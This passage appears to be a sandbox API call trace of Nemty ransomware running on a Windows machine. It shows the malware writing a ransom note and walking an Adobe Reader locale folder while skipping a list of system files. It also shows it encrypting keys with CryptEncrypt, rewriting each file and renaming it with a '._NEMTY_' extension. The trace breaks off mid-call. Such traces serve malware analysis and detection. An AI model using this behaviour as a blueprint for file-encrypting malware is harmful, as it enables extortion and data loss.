1 [0180.331] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0180.331] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0180.331] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.331] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0180.332] CloseHandle (hObject=0x254) returned 1 [0180.332] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0180.332] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0180.332] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0180.332] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1f1ffa50, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1f1ffa50, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0180.332] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0180.332] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1f1ffa50, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1f1ffa50, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0180.332] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0180.333] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0180.333] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xae00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="accessibility.NLD", cAlternateFileName="ACCESS~1.NLD")) returned 1 [0180.333] lstrcmpiW (lpString1="accessibility.NLD", lpString2=".") returned 1 [0180.333] lstrcmpiW (lpString1="accessibility.NLD", lpString2="..") returned 1 [0180.333] lstrcmpiW (lpString1="accessibility.NLD", lpString2="...") returned 1 [0180.333] lstrcmpiW (lpString1="accessibility.NLD", lpString2="windows") returned -1 [0180.333] lstrcmpiW (lpString1="accessibility.NLD", lpString2="$RECYCLE.BIN") returned 1 [0180.333] lstrcmpiW (lpString1="accessibility.NLD", lpString2="rsa") returned -1 [0180.333] lstrcmpiW (lpString1="accessibility.NLD", lpString2="NTDETECT.COM") returned -1 [0180.333] lstrcmpiW (lpString1="accessibility.NLD", lpString2="ntldr") returned -1 [0180.333] lstrcmpiW (lpString1="accessibility.NLD", lpString2="MSDOS.SYS") returned -1 [0180.333] lstrcmpiW (lpString1="accessibility.NLD", lpString2="IO.SYS") returned -1 [0180.333] lstrcmpiW (lpString1="accessibility.NLD", lpString2="boot.ini") returned -1 [0180.333] lstrcmpiW (lpString1="accessibility.NLD", lpString2="boot.ini") returned -1 [0180.333] lstrcmpiW (lpString1="accessibility.NLD", lpString2="AUTOEXEC.BAT") returned -1 [0180.333] lstrcmpiW (lpString1="accessibility.NLD", lpString2="ntuser.dat") returned -1 [0180.333] lstrcmpiW (lpString1="accessibility.NLD", lpString2="desktop.ini") returned -1 [0180.333] lstrcmpiW (lpString1="accessibility.NLD", lpString2="CONFIG.SYS") returned -1 [0180.333] lstrcmpiW (lpString1="accessibility.NLD", lpString2="RECYCLER") returned -1 [0180.333] lstrcmpiW (lpString1="accessibility.NLD", lpString2="BOOTSECT.BAK") returned -1 [0180.333] lstrcmpiW (lpString1="accessibility.NLD", lpString2="bootmgr") returned -1 [0180.333] lstrcmpiW (lpString1="accessibility.NLD", lpString2="programdata") returned -1 [0180.333] lstrcmpiW (lpString1="accessibility.NLD", lpString2="appdata") returned -1 [0180.333] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0180.333] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.NLD", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0180.333] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.333] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.NLD", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.NLD", lpUsedDefaultChar=0x0) returned 17 [0180.333] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.333] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0180.333] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.NLD", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0180.333] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.334] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.NLD", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.NLD", lpUsedDefaultChar=0x0) returned 17 [0180.334] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.334] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0180.334] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0180.334] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0180.334] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.NLD", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0180.334] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.334] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.NLD", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.NLD", lpUsedDefaultChar=0x0) returned 17 [0180.334] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0180.334] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0180.334] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.NLD", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0180.334] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.334] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.NLD", cchWideChar=17, lpMultiByteStr=0x4f9ed58, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.NLD", lpUsedDefaultChar=0x0) returned 17 [0180.334] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0180.334] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0180.334] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0180.334] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0180.334] Sleep (dwMilliseconds=0x5) [0180.349] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f24bd10, dwHighDateTime=0x1d561e8)) [0180.349] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f24bd10, dwHighDateTime=0x1d561e8)) [0180.349] GetLastError () returned 0xb7 [0180.349] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0180.349] GetLastError () returned 0xb7 [0180.350] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.350] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0180.350] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0180.350] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0180.350] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0180.350] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0180.350] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0180.350] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="RwTMhzJrFYtwEYuoSiOj0pLhV1nNKwdnwrMACrATu/u+Griqvtfxg/AlMiW/u3jZ\r\nFeHRyikcRvpNEJAmA/aSAbw0zU6IZ/hRqFDyKg7IZCU06/57hsRB0Z/2ylzEEvzU\r\nN+FRt3Hn/HmBYVfUmu9z84VD7Z/JG62QX+gfay5F2L2J6M1dAH2S+UUq2DbyFLgu\r\nmWHYqhzs4ko8uMSnKipBC8RcSc1gfXr5QIUEDOUF3Ue7UgCmyno5Vc7EJ+QQGZKy\r\n4iMx1E4JUppBdsU2E7e4O6H3loBpipLCIZ5Ym7Wlz0cZh06ZPclxTgz3o7CIa5C3\r\nb1akOUP9TQMvB769gMCfKg==\r\n", pcchString=0x653e5dc) returned 1 [0180.350] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0180.350] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0180.350] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0180.350] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0180.350] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0180.350] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0180.350] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\accessibility.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\accessibility.nld"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0180.350] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=44544) returned 1 [0180.350] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xae00) returned 0x6352c48 [0180.350] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.351] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xae00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0xae00, lpOverlapped=0x0) returned 1 [0180.355] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.355] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xae00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0xae00, lpOverlapped=0x0) returned 1 [0180.355] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0180.355] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=44544, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xae00 [0180.355] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0180.355] CloseHandle (hObject=0x2e8) returned 1 [0180.355] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0180.355] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0180.355] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0180.355] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0180.355] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0180.355] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0180.355] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0180.356] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0180.356] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0180.356] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0180.356] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\accessibility.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\accessibility.nld"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\accessibility.NLD._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\accessibility.nld._nemty_kgobjgd_")) returned 1 [0180.356] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0180.356] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0180.356] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0180.356] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0180.356] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0180.356] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0180.356] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.356] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0180.356] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.356] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.356] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cd4c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x69400, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Acroform.NLD", cAlternateFileName="")) returned 1 [0180.356] lstrcmpiW (lpString1="Acroform.NLD", lpString2=".") returned 1 [0180.356] lstrcmpiW (lpString1="Acroform.NLD", lpString2="..") returned 1 [0180.356] lstrcmpiW (lpString1="Acroform.NLD", lpString2="...") returned 1 [0180.357] lstrcmpiW (lpString1="Acroform.NLD", lpString2="windows") returned -1 [0180.357] lstrcmpiW (lpString1="Acroform.NLD", lpString2="$RECYCLE.BIN") returned 1 [0180.357] lstrcmpiW (lpString1="Acroform.NLD", lpString2="rsa") returned -1 [0180.357] lstrcmpiW (lpString1="Acroform.NLD", lpString2="NTDETECT.COM") returned -1 [0180.357] lstrcmpiW (lpString1="Acroform.NLD", lpString2="ntldr") returned -1 [0180.357] lstrcmpiW (lpString1="Acroform.NLD", lpString2="MSDOS.SYS") returned -1 [0180.357] lstrcmpiW (lpString1="Acroform.NLD", lpString2="IO.SYS") returned -1 [0180.357] lstrcmpiW (lpString1="Acroform.NLD", lpString2="boot.ini") returned -1 [0180.357] lstrcmpiW (lpString1="Acroform.NLD", lpString2="boot.ini") returned -1 [0180.357] lstrcmpiW (lpString1="Acroform.NLD", lpString2="AUTOEXEC.BAT") returned -1 [0180.357] lstrcmpiW (lpString1="Acroform.NLD", lpString2="ntuser.dat") returned -1 [0180.357] lstrcmpiW (lpString1="Acroform.NLD", lpString2="desktop.ini") returned -1 [0180.357] lstrcmpiW (lpString1="Acroform.NLD", lpString2="CONFIG.SYS") returned -1 [0180.357] lstrcmpiW (lpString1="Acroform.NLD", lpString2="RECYCLER") returned -1 [0180.357] lstrcmpiW (lpString1="Acroform.NLD", lpString2="BOOTSECT.BAK") returned -1 [0180.357] lstrcmpiW (lpString1="Acroform.NLD", lpString2="bootmgr") returned -1 [0180.357] lstrcmpiW (lpString1="Acroform.NLD", lpString2="programdata") returned -1 [0180.357] lstrcmpiW (lpString1="Acroform.NLD", lpString2="appdata") returned -1 [0180.357] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.357] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.NLD", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.357] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.NLD", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.NLD", lpUsedDefaultChar=0x0) returned 12 [0180.357] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.357] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.NLD", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.357] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.NLD", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.NLD", lpUsedDefaultChar=0x0) returned 12 [0180.357] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.357] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.357] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.357] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.NLD", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.357] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.NLD", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.NLD", lpUsedDefaultChar=0x0) returned 12 [0180.357] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.357] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.357] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.NLD", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.358] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.NLD", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.NLD", lpUsedDefaultChar=0x0) returned 12 [0180.358] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.358] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0180.358] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0180.358] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0180.358] Sleep (dwMilliseconds=0x5) [0180.365] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f271e70, dwHighDateTime=0x1d561e8)) [0180.365] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f271e70, dwHighDateTime=0x1d561e8)) [0180.365] GetLastError () returned 0x0 [0180.365] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0180.365] GetLastError () returned 0x0 [0180.365] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.365] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0180.365] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.365] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0180.366] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0180.366] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0180.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0180.366] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="+YSDhkCZBJnsWqLgOstHPhrvgrIrWmXms9IY08N/vdezni10Bl1ny6nkhrQnx/bc\r\nv2+sqW2HSRsTDTxeK5Q5B7dnXlkWjqgY/0S3kXqb9W5trDKzoceDZYcWbEjE2KWO\r\n9rXC3ntvhUxzr15+k5R8HS0f7aKR+TgmbYc8CEzOLqiBKlZtT4OFLHFUWZo/P/OK\r\nn9Czk7imUQr6mJz+HSpRcwt49QD4QGAJpym5CU0LoMtZ51ATXjS9YJLd630dlahj\r\nhu7omQjEnB70Mk3uGzBtzCtG0i/S9nAxGvF6JtGdWew59LvK2WXOKVZc2Lta8Hhe\r\nRCPBqhw/RuPUUAOnXOi5uA==\r\n", pcchString=0x653e5dc) returned 1 [0180.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0180.366] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0180.366] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0180.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0180.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0180.366] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Acroform.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 